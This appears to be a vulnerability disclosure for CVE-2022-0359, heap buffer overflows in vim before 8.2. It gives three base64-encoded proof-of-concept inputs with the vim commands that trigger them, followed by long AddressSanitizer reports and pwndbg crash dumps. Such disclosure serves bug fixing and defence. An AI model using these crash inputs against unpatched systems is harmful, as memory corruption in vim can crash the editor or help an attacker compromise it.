Headline
CVE-2022-0359: Heap-based Buffer Overflow in vim
Heap-based Buffer Overflow in GitHub repository vim/vim prior to 8.2.
Description
2 Heap-buffer-overflow on write in vim
1 Heap-buffer-overflow on read in vim
Heap-buffer-overflow on write in vim #1****Proof of Concept
Steps to reproduce:
echo -n cmV0ODAwCnMvXHYvCQpzZSBhaQpzaWwwbm9ybTppDQ== | base64 -d > heap_ow_poc1
vim -u NONE -i NONE -n -X -Z -e -m -s -S heap_ow_poc1 -c :qa!
Sanitizer output:
==25213==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000000a4e at pc 0x0000004959cf bp 0x7ffdbc4e5880 sp 0x7ffdbc4e5048
WRITE of size 800 at 0x612000000a4e thread T0
#0 0x4959ce in __asan_memset (/home/presler/fuzzing/vim_sanitized/src/vim+0x4959ce)
#1 0x7aeda7 in memset /usr/include/x86_64-linux-gnu/bits/string_fortified.h:71:10
#2 0x7aeda7 in init_ccline /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:1526:2
#3 0x79ec64 in getcmdline_int /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:1628:9
#4 0x79e90d in getcmdline /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:1562:12
#5 0x7a4556 in getexline /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:2772:12
#6 0x71d5f4 in ex_append /home/presler/fuzzing/vim_sanitized/src/ex_cmds.c:3319:16
#7 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#8 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#9 0xa1f0f2 in nv_colon /home/presler/fuzzing/vim_sanitized/src/normal.c:3470:19
#10 0x9fedf7 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/normal.c:1120:5
#11 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c
#12 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8601:5
#13 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8519:6
#14 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#15 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#16 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1512:5
#17 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1098:14
#18 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1124:2
#19 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#20 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#21 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:587:12
#22 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/main.c:3091:2
#23 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/main.c:774:2
#24 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:426:12
#25 0x7f183df5e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#26 0x41db2d in _start (/home/presler/fuzzing/vim_sanitized/src/vim+0x41db2d)
0x612000000a4e is located 0 bytes to the right of 270-byte region [0x612000000940,0x612000000a4e)
allocated by thread T0 here:
#0 0x49626d in malloc (/home/presler/fuzzing/vim_sanitized/src/vim+0x49626d)
#1 0x4c5c67 in lalloc /home/presler/fuzzing/vim_sanitized/src/alloc.c:248:11
#2 0x4c5c3d in alloc /home/presler/fuzzing/vim_sanitized/src/alloc.c:151:12
#3 0x7a74a1 in alloc_cmdbuff /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:3202:22
#4 0x7aed3d in init_ccline /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:1516:5
#5 0x79ec64 in getcmdline_int /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:1628:9
#6 0x79e90d in getcmdline /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:1562:12
#7 0x7a4556 in getexline /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:2772:12
#8 0x71d5f4 in ex_append /home/presler/fuzzing/vim_sanitized/src/ex_cmds.c:3319:16
#9 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#10 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#11 0xa1f0f2 in nv_colon /home/presler/fuzzing/vim_sanitized/src/normal.c:3470:19
#12 0x9fedf7 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/normal.c:1120:5
#13 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c
#14 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8601:5
#15 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8519:6
#16 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#17 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#18 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1512:5
#19 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1098:14
#20 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1124:2
#21 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#22 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#23 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:587:12
#24 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/main.c:3091:2
#25 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/main.c:774:2
#26 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:426:12
#27 0x7f183df5e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/presler/fuzzing/vim_sanitized/src/vim+0x4959ce) in __asan_memset
Shadow bytes around the buggy address:
0x0c247fff80f0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c247fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fff8110: 00 00 00 00 00 00 00 00 00 06 fa fa fa fa fa fa
0x0c247fff8120: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c247fff8130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c247fff8140: 00 00 00 00 00 00 00 00 00[06]fa fa fa fa fa fa
0x0c247fff8150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==25213==ABORTING
Dump
presler :: fuzzing/pure_vim/src ‹master*› » ./vim --version
VIM - Vi IMproved 8.2 (2019 Dec 12, compiled Jan 24 2022 12:37:28)
Included patches: 1-4198
Compiled by presler@presler
Huge version without GUI. Features included (+) or not (-):
+acl +file_in_path +mouse_urxvt -tag_any_white
+arabic +find_in_path +mouse_xterm -tcl
+autocmd +float +multi_byte +termguicolors
+autochdir +folding +multi_lang +terminal
-autoservername -footer -mzscheme +terminfo
-balloon_eval +fork() +netbeans_intg +termresponse
+balloon_eval_term +gettext +num64 +textobjects
-browse -hangul_input +packages +textprop
++builtin_terms +iconv +path_extra +timers
+byte_offset +insert_expand -perl +title
+channel +ipv6 +persistent_undo -toolbar
+cindent +job +popupwin +user_commands
-clientserver +jumplist +postscript +vartabs
-clipboard +keymap +printer +vertsplit
+cmdline_compl +lambda +profile +vim9script
+cmdline_hist +langmap -python +viminfo
+cmdline_info +libcall -python3 +virtualedit
+comments +linebreak +quickfix +visual
+conceal +lispindent +reltime +visualextra
+cryptv +listcmds +rightleft +vreplace
+cscope +localmap -ruby +wildignore
+cursorbind -lua +scrollbind +wildmenu
+cursorshape +menu +signs +windows
+dialog_con +mksession +smartindent +writebackup
+diff +modify_fname -sodium -X11
+digraphs +mouse -sound -xfontset
-dnd -mouseshape +spell -xim
-ebcdic +mouse_dec +startuptime -xpm
+emacs_tags -mouse_gpm +statusline -xsmp
+eval -mouse_jsbterm -sun_workshop -xterm_clipboard
+ex_extra +mouse_netterm +syntax -xterm_save
+extra_search +mouse_sgr +tag_binary
-farsi -mouse_sysmouse -tag_old_static
system vimrc file: "$VIM/vimrc"
user vimrc file: "$HOME/.vimrc"
2nd user vimrc file: "~/.vim/vimrc"
user exrc file: "$HOME/.exrc"
defaults file: "$VIMRUNTIME/defaults.vim"
fall-back for $VIM: "/usr/local/share/vim"
Compilation: gcc -c -I. -Iproto -DHAVE_CONFIG_H -g3 -D_REENTRANT -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=1
Linking: gcc -L/usr/local/lib -Wl,--as-needed -o vim -lSM -lICE -lm -ltinfo -lselinux -ldl
presler :: fuzzing/pure_vim/src ‹master*› » ./vim -u NONE -i NONE -n -X -Z -e -m -s -S /home/presler/fuzzing/vim/src/minimized_poc/heap_ow_poc1 -c :qa!
malloc(): invalid size (unsorted)
[1] 25915 abort ./vim -u NONE -i NONE -n -X -Z -e -m -s -S -c :qa!
presler :: fuzzing/pure_vim/src ‹master*› » gdb ./vim -q 134 ↵
pwndbg: loaded 196 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./vim...
pwndbg> r -u NONE -i NONE -n -X -Z -e -m -s -S /home/presler/fuzzing/vim/src/minimized_poc/heap_ow_poc1 -c :qa!
Starting program: /home/presler/fuzzing/pure_vim/src/vim -u NONE -i NONE -n -X -Z -e -m -s -S /home/presler/fuzzing/vim/src/minimized_poc/heap_ow_poc1 -c :qa!
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
malloc(): invalid size (unsorted)
Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
50 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x7ffff7b54800 ◂— 0x7ffff7b54800
RCX 0x7ffff7c5218b (raise+203) ◂— mov rax, qword ptr [rsp + 0x108]
RDX 0x0
RDI 0x2
RSI 0x7fffffffb050 ◂— 0x0
R8 0x0
R9 0x7fffffffb050 ◂— 0x0
R10 0x8
R11 0x246
R12 0x7fffffffb2c0 ◂— 0x0
R13 0x10
R14 0x7ffff7fba000 ◂— 0x6c6c616d00001000
R15 0x1
RBP 0x7fffffffb3a0 ◂— 0x0
RSP 0x7fffffffb050 ◂— 0x0
RIP 0x7ffff7c5218b (raise+203) ◂— mov rax, qword ptr [rsp + 0x108]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x7ffff7c5218b <raise+203> mov rax, qword ptr [rsp + 0x108]
0x7ffff7c52193 <raise+211> xor rax, qword ptr fs:[0x28]
0x7ffff7c5219c <raise+220> jne raise+260 <raise+260>
↓
0x7ffff7c521c4 <raise+260> call __stack_chk_fail <__stack_chk_fail>
0x7ffff7c521c9 nop dword ptr [rax]
0x7ffff7c521d0 <killpg> endbr64
0x7ffff7c521d4 <killpg+4> test edi, edi
0x7ffff7c521d6 <killpg+6> js killpg+16 <killpg+16>
0x7ffff7c521d8 <killpg+8> neg edi
0x7ffff7c521da <killpg+10> jmp kill <kill>
0x7ffff7c521df <killpg+15> nop
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsi r9 rsp 0x7fffffffb050 ◂— 0x0
... ↓ 7 skipped
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 0x7ffff7c5218b raise+203
f 1 0x7ffff7c31859 abort+299
f 2 0x7ffff7c9c3ee __libc_message+670
f 3 0x7ffff7ca447c
f 4 0x7ffff7ca7234 _int_malloc+1604
f 5 0x7ffff7ca92d4 malloc+116
f 6 0x555555589cf9 lalloc+75
f 7 0x555555589b90 alloc+33
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> bt
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1 0x00007ffff7c31859 in __GI_abort () at abort.c:79
#2 0x00007ffff7c9c3ee in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7dc6285 "%s\n") at ../sysdeps/posix/libc_fatal.c:155
#3 0x00007ffff7ca447c in malloc_printerr (str=str@entry=0x7ffff7dc8a50 "malloc(): invalid size (unsorted)") at malloc.c:5347
#4 0x00007ffff7ca7234 in _int_malloc (av=av@entry=0x7ffff7df7b80 <main_arena>, bytes=bytes@entry=1) at malloc.c:3736
#5 0x00007ffff7ca92d4 in __GI___libc_malloc (bytes=1) at malloc.c:3058
#6 0x0000555555589cf9 in lalloc (size=1, message=1) at alloc.c:248
#7 0x0000555555589b90 in alloc (size=1) at alloc.c:151
#8 0x00005555557820c3 in vim_strsave (string=0x55555586fe58 "") at strings.c:27
#9 0x00005555555ffcd4 in set_vim_var_string (idx=5, val=0x55555586fe58 "", len=-1) at evalvars.c:2492
#10 0x00005555558614fd in msg_attr_keep (s=0x55555586fe58 "", attr=0, keep=0) at message.c:143
#11 0x000055555586143a in msg (s=0x55555586fe58 "") at message.c:102
#12 0x0000555555627c1e in abandon_cmdline () at ex_getln.c:85
#13 0x000055555562c58f in getcmdline_int (firstc=0, count=1, indent=800, clear_ccline=1) at ex_getln.c:2454
#14 0x000055555562aaab in getcmdline (firstc=0, count=1, indent=800, do_concat=GETLINE_CONCAT_CONT) at ex_getln.c:1562
#15 0x000055555562cd94 in getexline (c=0, cookie=0x0, indent=800, options=GETLINE_CONCAT_CONT) at ex_getln.c:2772
#16 0x000055555560d330 in ex_append (eap=0x7fffffffb8e0) at ex_cmds.c:3319
#17 0x00005555556169a7 in do_one_cmd (cmdlinep=0x7fffffffbb10, flags=0, cstack=0x7fffffffbbf0, fgetline=0x55555562cd4d <getexline>, cookie=0x0) at ex_docmd.c:2573
#18 0x0000555555613b8a in do_cmdline (cmdline=0x0, fgetline=0x55555562cd4d <getexline>, cookie=0x0, flags=0) at ex_docmd.c:993
#19 0x00005555556b6a10 in nv_colon (cap=0x7fffffffc310) at normal.c:3470
#20 0x00005555556b2a34 in normal_cmd (oap=0x7fffffffc3a0, toplevel=1) at normal.c:1120
#21 0x0000555555621e46 in exec_normal (was_typed=0, use_vpeekc=0, may_use_terminal_loop=0) at ex_docmd.c:8638
#22 0x0000555555621d8a in exec_normal_cmd (cmd=0x55555593bc18 ":i\r", remap=0, silent=0) at ex_docmd.c:8601
#23 0x0000555555621b98 in ex_normal (eap=0x7fffffffc5f0) at ex_docmd.c:8519
#24 0x00005555556169a7 in do_one_cmd (cmdlinep=0x7fffffffc820, flags=7, cstack=0x7fffffffc900, fgetline=0x5555557467f1 <getsourceline>, cookie=0x7fffffffd050) at ex_docmd.c:2573
#25 0x0000555555613b8a in do_cmdline (cmdline=0x5555559385f0 "ret800", fgetline=0x5555557467f1 <getsourceline>, cookie=0x7fffffffd050, flags=7) at ex_docmd.c:993
#26 0x0000555555745dba in do_source (fname=0x555555938033 "/home/presler/fuzzing/vim/src/minimized_poc/heap_ow_poc1 ", check_other=0, is_vimrc=0, ret_sid=0x0) at scriptfile.c:1512
#27 0x00005555557451b7 in cmd_source (fname=0x555555938033 "/home/presler/fuzzing/vim/src/minimized_poc/heap_ow_poc1 ", eap=0x7fffffffd1a0) at scriptfile.c:1098
#28 0x0000555555745207 in ex_source (eap=0x7fffffffd1a0) at scriptfile.c:1124
#29 0x00005555556169a7 in do_one_cmd (cmdlinep=0x7fffffffd3d0, flags=11, cstack=0x7fffffffd4b0, fgetline=0x0, cookie=0x0) at ex_docmd.c:2573
#30 0x0000555555613b8a in do_cmdline (cmdline=0x555555934430 "so /home/presler/fuzzing/vim/src/minimized_poc/heap_ow_poc1 ", fgetline=0x0, cookie=0x0, flags=11) at ex_docmd.c:993
#31 0x0000555555613015 in do_cmdline_cmd (cmd=0x555555934430 "so /home/presler/fuzzing/vim/src/minimized_poc/heap_ow_poc1 ") at ex_docmd.c:587
#32 0x000055555585e474 in exe_commands (parmp=0x55555591b480 <params>) at main.c:3091
#33 0x000055555585b3ca in vim_main2 () at main.c:774
#34 0x000055555585ad71 in main (argc=15, argv=0x7fffffffdcb8) at main.c:426
#35 0x00007ffff7c330b3 in __libc_start_main (main=0x55555585a939 <main>, argc=15, argv=0x7fffffffdcb8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdca8) at ../csu/libc-start.c:308
#36 0x0000555555589a4e in _start ()
Heap-buffer-overflow on write in vim #2****Proof of Concept
Steps to reproduce:
echo -n bm9ybTBRgFBTMP8wMDCysDAwMDAwMDAwMDAwMDAw/zD/g7IwMDAwMDAwMDAwjjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAD | base64 -d > heap_ow_poc2
vim -u NONE -i NONE -n -X -Z -e -m -s -S heap_ow_poc2 -c :qa!
Sanitizer output:
==1637==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x607000000e66 at pc 0x0000007a6af2 bp 0x7fff3b93fd50 sp 0x7fff3b93fd48
WRITE of size 1 at 0x607000000e66 thread T0
#0 0x7a6af1 in getexmodeline /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:2933:21
#1 0x7371d9 in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:876:46
#2 0x735134 in do_exmode /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c
#3 0xa27ab8 in nv_exmode /home/presler/fuzzing/vim_sanitized/src/normal.c:3423:2
#4 0x9fedf7 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/normal.c:1120:5
#5 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c
#6 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8601:5
#7 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8519:6
#8 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#9 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#10 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1512:5
#11 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1098:14
#12 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1124:2
#13 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#14 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#15 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:587:12
#16 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/main.c:3091:2
#17 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/main.c:774:2
#18 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:426:12
#19 0x7fb0cd8730b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#20 0x41db2d in _start (/home/presler/fuzzing/vim_sanitized/src/vim+0x41db2d)
0x607000000e66 is located 0 bytes to the right of 70-byte region [0x607000000e20,0x607000000e66)
allocated by thread T0 here:
#0 0x496589 in realloc (/home/presler/fuzzing/vim_sanitized/src/vim+0x496589)
#1 0x4c7722 in ga_grow_inner /home/presler/fuzzing/vim_sanitized/src/alloc.c:741:10
#2 0x4c74dd in ga_grow /home/presler/fuzzing/vim_sanitized/src/alloc.c:720:9
#3 0x648655 in bracketed_paste /home/presler/fuzzing/vim_sanitized/src/edit.c:4446:26
#4 0x7a4aee in getexmodeline /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:2874:6
#5 0x7371d9 in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:876:46
#6 0x735134 in do_exmode /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c
#7 0xa27ab8 in nv_exmode /home/presler/fuzzing/vim_sanitized/src/normal.c:3423:2
#8 0x9fedf7 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/normal.c:1120:5
#9 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c
#10 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8601:5
#11 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8519:6
#12 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#13 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#14 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1512:5
#15 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1098:14
#16 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1124:2
#17 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#18 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#19 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:587:12
#20 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/main.c:3091:2
#21 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/main.c:774:2
#22 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:426:12
#23 0x7fb0cd8730b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:2933:21 in getexmodeline
Shadow bytes around the buggy address:
0x0c0e7fff8170: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa 00 00
0x0c0e7fff8180: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
0x0c0e7fff8190: 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 00 00
0x0c0e7fff81a0: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c0e7fff81b0: 00 fa fa fa fa fa 00 00 00 00 00 00 00 00 00 01
=>0x0c0e7fff81c0: fa fa fa fa 00 00 00 00 00 00 00 00[06]fa fa fa
0x0c0e7fff81d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff81f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8210: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1637==ABORTING
Heap-buffer-overflow on read in vim #1****Proof of Concept
Steps to reproduce:
echo -n c2lsIW5vcm0wbxSA/zAWenk= | base64 -d > heap_ow_poc3
vim -u NONE -i NONE -n -X -Z -e -m -s -S heap_ow_poc3 -c :qa!
Sanitizer output:
==1937==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000722f at pc 0x000000c35e3a bp 0x7ffcb4567010 sp 0x7ffcb4567008
READ of size 1 at 0x60200000722f thread T0
#0 0xc35e39 in yank_copy_line /home/presler/fuzzing/vim_sanitized/src/register.c:1477:9
#1 0xc30874 in op_yank /home/presler/fuzzing/vim_sanitized/src/register.c:1217:7
#2 0xa7bffa in do_pending_operator /home/presler/fuzzing/vim_sanitized/src/ops.c:4027:9
#3 0x9fef02 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/normal.c:1146:2
#4 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c
#5 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8601:5
#6 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8519:6
#7 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#8 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#9 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1512:5
#10 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1098:14
#11 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1124:2
#12 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#13 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#14 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:587:12
#15 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/main.c:3091:2
#16 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/main.c:774:2
#17 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:426:12
#18 0x7fc84b9c50b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#19 0x41db2d in _start (/home/presler/fuzzing/vim_sanitized/src/vim+0x41db2d)
0x60200000722f is located 1 bytes to the left of 2-byte region [0x602000007230,0x602000007232)
allocated by thread T0 here:
#0 0x49626d in malloc (/home/presler/fuzzing/vim_sanitized/src/vim+0x49626d)
#1 0x4c5c67 in lalloc /home/presler/fuzzing/vim_sanitized/src/alloc.c:248:11
#2 0x4c5c3d in alloc /home/presler/fuzzing/vim_sanitized/src/alloc.c:151:12
#3 0x8aaf87 in set_indent /home/presler/fuzzing/vim_sanitized/src/indent.c:682:12
#4 0xa50bca in shift_line /home/presler/fuzzing/vim_sanitized/src/ops.c:269:8
#5 0x8b42e4 in change_indent /home/presler/fuzzing/vim_sanitized/src/indent.c:1302:2
#6 0x643eea in ins_shift /home/presler/fuzzing/vim_sanitized/src/edit.c
#7 0x63ae2f in edit /home/presler/fuzzing/vim_sanitized/src/edit.c:956:6
#8 0xa3f602 in invoke_edit /home/presler/fuzzing/vim_sanitized/src/normal.c:7285:9
#9 0xa40d1f in n_opencmd /home/presler/fuzzing/vim_sanitized/src/normal.c:6544:6
#10 0xa27858 in nv_open /home/presler/fuzzing/vim_sanitized/src/normal.c:7664:2
#11 0x9fedf7 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/normal.c:1120:5
#12 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c
#13 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8601:5
#14 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8519:6
#15 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#16 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#17 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1512:5
#18 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1098:14
#19 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1124:2
#20 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
